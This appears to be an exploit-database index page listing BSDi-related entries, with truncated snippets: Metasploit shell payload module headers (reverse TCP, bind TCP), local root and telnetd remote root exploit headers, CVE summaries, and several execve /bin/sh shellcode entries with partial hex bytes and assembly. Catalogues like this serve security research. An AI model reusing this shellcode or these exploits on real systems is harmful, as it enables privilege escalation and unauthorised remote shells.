Generic x86 Tight Loop

Generate a tight loop in the target process This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 2 include Msf::Payload::Single def initializeinfo = supermergeinfoinfo, 'Name' = 'Generi...

Apache Tomcat 'RemoteFilterValve'安全绕过漏洞

BUGTRAQ ID: 31698 CVE ID：CVE-2008-3271 CNCVE ID：CNCVE-20083271 Apache Tomcat是一款流行的开放源码的JSP应用服务器程序。 Apache Tomcat处理'RemoteFilterValve'扩展存在安全绕过问题，远程攻击者可以利用漏洞绕过访问限制，获得敏感信息。 在使用RemoteAddrValve允许部分地址访问引擎时： Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="a.b.c.d"/...

Generic x86 Debug Trap

Generate a debug trap in the target process This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 1 include Msf::Payload::Single def initializeinfo = supermergeinfoinfo, 'Name' = 'Generi...

BSDi 3.0 inc Local Root Buffer Overflow Exploit

No description provided by source. / BSDiincmh buffer overflow, by [email protected]. this is will give you euid=0root on BSDi/3.0 systems. / define PATH "/usr/contrib/mh/bin/inc" / path to inc on BSDi/3.0 / define BUFFER 2048 / no need to change this. / define DEFAULTOFFSET -7000 / generalized...

BSDi suidperl Local Stack Buffer Overflow Exploit

No description provided by source. / BSDisuidperl buffer overflow, by [email protected]. this is that old buffer overflow in suidperl, but i never saw any version of it for BSDi. so, here it is. this gives euid=0. BSDi/3.0 / define PATH "/usr/bin/suidperl" / path to suidperl on BSDi/3.0. / define...

BSD (telnetd) Remote Root Exploit

No description provided by source. / 7350854 - x86/bsd telnetd remote root exploit TESO CONFIDENTIAL - SOURCE MATERIALS This is unpublished proprietary source code of TESO Security. The contents of these coded instructions, statements and computer programs may not be disclosed to third parties,...

CVE-2006-0591

CVE-2006-0591 is substantiated in connected advisories for PostgreSQL: it describes an integer signedness bug in password salt generation, causing the salt length to be only half the intended size and slightly easing brute-force on hashed passwords. Remediation is to upgrade to PostgreSQL 7.4.13 ...

BSDi Command Shell, Reverse TCP Inline

Connect back to attacker and spawn a command shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 77 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions def...

BSDi Command Shell, Find Port Inline

Spawn a shell on an established connection This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 77 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions def...

BSDi Command Shell, Bind TCP Inline

Listen for a connection and spawn a command shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 90 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions def...

CVE-2001-1541

CVE-2001-1541 describes a buffer overflow in UUCP of BSDI BSD/OS 3.0–4.2 that lets a local attacker execute arbitrary code via a long command line argument. The vulnerability is due to unsafe handling in UUCP, enabling code execution with local access; the impact is full confidentiality, integrit...

CVE-2001-1541: Undefined Security Weakness

Buffer overflow in Unix-to-Unix Copy Protocol UUCP in BSDI BSD/OS 3.0 through 4.2 allows local users to execute arbitrary code via a long command line argument...

bsdi/x86 execve /bin/sh 46 bytes

No description provided by source. / BSDi execve of /bin/sh by v9 [email protected] / static char exec= "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" / 14 characters. / "\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" / 14 characters. /...

bsdi/x86 execve /bin/sh 46 bytes

Exploit for bsdi/x86 platform in category shellcode ================================ bsdi/x86 execve /bin/sh 46 bytes ================================ / BSDi execve of /bin/sh by v9 email protected / static char exec= "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" / 14 characters. /...

bsdi/x86 execve /bin/sh toupper evasion 97 bytes

No description provided by source. / BSDi shellcode jmp 0x57 pop %esi xor %ebx,%ebx add $0x8,%ebx add $0x2,%ebx mov %bl,0x26%esi xor %ebx,%ebx add $0x23,%ebx add $0x23,%ebx mov %bl,0xffffffa8%esi xor %ebx,%ebx add $0x26,%ebx add $0x30,%ebx mov %bl,0xffffffc2%esi xor %eax,%eax mov %al,0xb%esi mov...

bsdi/x86 execve /bin/sh 45 bytes

No description provided by source. / BSDi execve of /bin/sh by duke [email protected] / char bsdishell= "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c\x89\x76" "\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff\xff\xff\xff\x07" "\xff\xe8\xdc\xff\xff\xff/bin/sh\x00"; milw0rm.com 2004-09-...

bsdi/x86 execve /bin/sh 45 bytes

Exploit for bsdi/x86 platform in category shellcode ================================ bsdi/x86 execve /bin/sh 45 bytes ================================ / BSDi execve of /bin/sh by duke email protected / char bsdishell= "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c\x89\x76"...

bsdi/x86 - execve /bin/sh 45 bytes

bsdi/x86 execve /bin/sh 45 bytes. Shellcode exploit for bsdix86 platform / BSDi execve of /bin/sh by duke [email protected] / char bsdishell= "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c\x89\x76" "\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff\xff\xff\xff\x07"...

bsdi/x86 - execve /bin/sh toupper evasion 97 bytes

bsdi/x86 execve /bin/sh toupper evasion 97 bytes. Shellcode exploit for bsdix86 platform / BSDi shellcode jmp 0x57 pop %esi xor %ebx,%ebx add $0x8,%ebx add $0x2,%ebx mov %bl,0x26%esi xor %ebx,%ebx add $0x23,%ebx add $0x23,%ebx mov %bl,0xffffffa8%esi xor %ebx,%ebx add $0x26,%ebx add $0x30,%ebx mov...

bsdi/x86 execve /bin/sh toupper evasion 97 bytes

Exploit for bsdi/x86 platform in category shellcode ================================================ bsdi/x86 execve /bin/sh toupper evasion 97 bytes ================================================ / BSDi shellcode jmp 0x57 pop %esi xor %ebx,%ebx add $0x8,%ebx add $0x2,%ebx mov %bl,0x26%esi xor...